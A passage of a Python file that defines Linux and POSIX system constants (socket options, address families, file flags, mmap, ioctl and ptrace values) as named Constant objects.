Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nSTAT64_HAS_BROKEN_ST_INO = Constant('STAT64_HAS_BROKEN_ST_INO',1)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',1)\nSO_DEBUG = Constant('SO_DEBUG',1)\nSO_REUSEADDR = Constant('SO_REUSEADDR',2)\nSO_TYPE = Constant('SO_TYPE',3)\nSO_ERROR = Constant('SO_ERROR',4)\nSO_DONTROUTE = Constant('SO_DONTROUTE',5)\nSO_BROADCAST = Constant('SO_BROADCAST',6)\nSO_SNDBUF = Constant('SO_SNDBUF',7)\nSO_RCVBUF = Constant('SO_RCVBUF',8)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',9)\nSO_OOBINLINE = Constant('SO_OOBINLINE',10)\nSO_NO_CHECK = Constant('SO_NO_CHECK',11)\nSO_PRIORITY = Constant('SO_PRIORITY',12)\nSO_LINGER = Constant('SO_LINGER',13)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14)\nSO_REUSEPORT = Constant('SO_REUSEPORT',15)\nSO_PASSCRED = Constant('SO_PASSCRED',16)\nSO_PEERCRED = Constant('SO_PEERCRED',17)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',18)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',19)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',20)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',21)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27)\nSO_GET_FILTER = Constant('SO_GET_FILTER',26)\nSO_PEERNAME = Constant('SO_PEERNAME',28)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',29)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30)\nSO_PEERSEC = Constant('SO_PEERSEC',31)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33)\nSO_PASSSEC = Constant('SO_PASSSEC',34)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35)\nSO_MARK = Constant('SO_MARK',36)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37)\nSO_PROTOCOL = Constant('SO_PROTOCOL',38)\nSO_DOMAIN = Constant('SO_DOMAIN',39)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',42)\nSO_NOFCS = Constant('SO_NOFCS',43)\nSO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',46)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',27)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54)\nSO_MEMINFO = Constant('SO_MEMINFO',55)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56)\nSO_COOKIE = Constant('SO_COOKIE',57)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',59)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',60)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nO_ACCMODE = Constant('O_ACCMODE',0o003)\nO_RDONLY = Constant('O_RDONLY',0o0)\nO_WRONLY = Constant('O_WRONLY',0o1)\nO_RDWR = Constant('O_RDWR',0o2)\nO_CREAT = Constant('O_CREAT',0o100)\nO_EXCL = Constant('O_EXCL',0o200)\nO_NOCTTY = Constant('O_NOCTTY',0o400)\nO_TRUNC = Constant('O_TRUNC',0o1000)\nO_APPEND = Constant('O_APPEND',0o2000)\nO_NONBLOCK = Constant('O_NONBLOCK',0o4000)\nO_NDELAY = Constant('O_NDELAY',0o4000)\nO_DSYNC = Constant('O_DSYNC',0o10000)\nFASYNC = Constant('FASYNC',0o20000)\nO_DIRECT = Constant('O_DIRECT',0o40000)\nO_LARGEFILE = Constant('O_LARGEFILE',0o100000)\nO_DIRECTORY = Constant('O_DIRECTORY',0o200000)\nO_NOFOLLOW = Constant('O_NOFOLLOW',0o400000)\nO_NOATIME = Constant('O_NOATIME',0o1000000)\nO_CLOEXEC = Constant('O_CLOEXEC',0o2000000)\nO_SYNC = Constant('O_SYNC',(0o10000|0o4000000))\nO_PATH = Constant('O_PATH',0o10000000)\n__O_TMPFILE = Constant('__O_TMPFILE',0o20000000)\nF_DUPFD = Constant('F_DUPFD',0)\nF_GETFD = Constant('F_GETFD',1)\nF_SETFD = Constant('F_SETFD',2)\nF_GETFL = Constant('F_GETFL',3)\nF_SETFL = Constant('F_SETFL',4)\nF_GETLK = Constant('F_GETLK',5)\nF_SETLK = Constant('F_SETLK',6)\nF_SETLKW = Constant('F_SETLKW',7)\nF_SETOWN = Constant('F_SETOWN',8)\nF_GETOWN = Constant('F_GETOWN',9)\nF_SETSIG = Constant('F_SETSIG',10)\nF_GETSIG = Constant('F_GETSIG',11)\nF_GETLK64 = Constant('F_GETLK64',12)\nF_SETLK64 = Constant('F_SETLK64',13)\nF_SETLKW64 = Constant('F_SETLKW64',14)\nFD_CLOEXEC = Constant('FD_CLOEXEC',1)\nF_RDLCK = Constant('F_RDLCK',0)\nF_WRLCK = Constant('F_WRLCK',1)\nF_UNLCK = Constant('F_UNLCK',2)\nF_EXLCK = Constant('F_EXLCK',4)\nF_SHLCK = Constant('F_SHLCK',8)\nF_INPROGRESS = Constant('F_INPROGRESS',16)\nLOCK_SH = Constant('LOCK_SH',1)\nLOCK_EX = Constant('LOCK_EX',2)\nLOCK_NB = Constant('LOCK_NB',4)\nLOCK_UN = Constant('LOCK_UN',8)\nLOCK_MAND = Constant('LOCK_MAND',32)\nLOCK_READ = Constant('LOCK_READ',64)\nLOCK_WRITE = Constant('LOCK_WRITE',128)\nLOCK_RW = Constant('LOCK_RW',192)\nO_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0o200000))\nO_ASYNC = Constant('O_ASYNC',0o20000)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK = Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FIXED = Constant('MAP_FIXED',0x10)\nMAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20)\nMAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100)\nMAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800)\nMAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000)\nMAP_LOCKED = Constant('MAP_LOCKED',0x2000)\nMAP_NORESERVE = Constant('MAP_NORESERVE',0x4000)\nMAP_POPULATE = Constant('MAP_POPULATE',0x8000)\nMAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000)\nMAP_STACK = Constant('MAP_STACK',0x20000)\nMAP_HUGETLB = Constant('MAP_HUGETLB',0x40000)\nMS_ASYNC = Constant('MS_ASYNC',1)\nMS_INVALIDATE = Constant('MS_INVALIDATE',2)\nMS_SYNC = Constant('MS_SYNC',4)\nMCL_CURRENT = Constant('MCL_CURRENT',1)\nMCL_FUTURE = Constant('MCL_FUTURE',2)\nMCL_ONFAULT = Constant('MCL_ONFAULT',4)\nMADV_NORMAL = Constant('MADV_NORMAL',0x0)\nMADV_RANDOM = Constant('MADV_RANDOM',0x1)\nMADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2)\nMADV_WILLNEED = Constant('MADV_WILLNEED',0x3)\nMADV_DONTNEED = Constant('MADV_DONTNEED',0x4)\nMAP_ANON = Constant('MAP_ANON',0x20)\nMAP_FILE = Constant('MAP_FILE',0)\nPOSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0)\nPOSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2)\nPOSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1)\nPOSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3)\nPOSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = 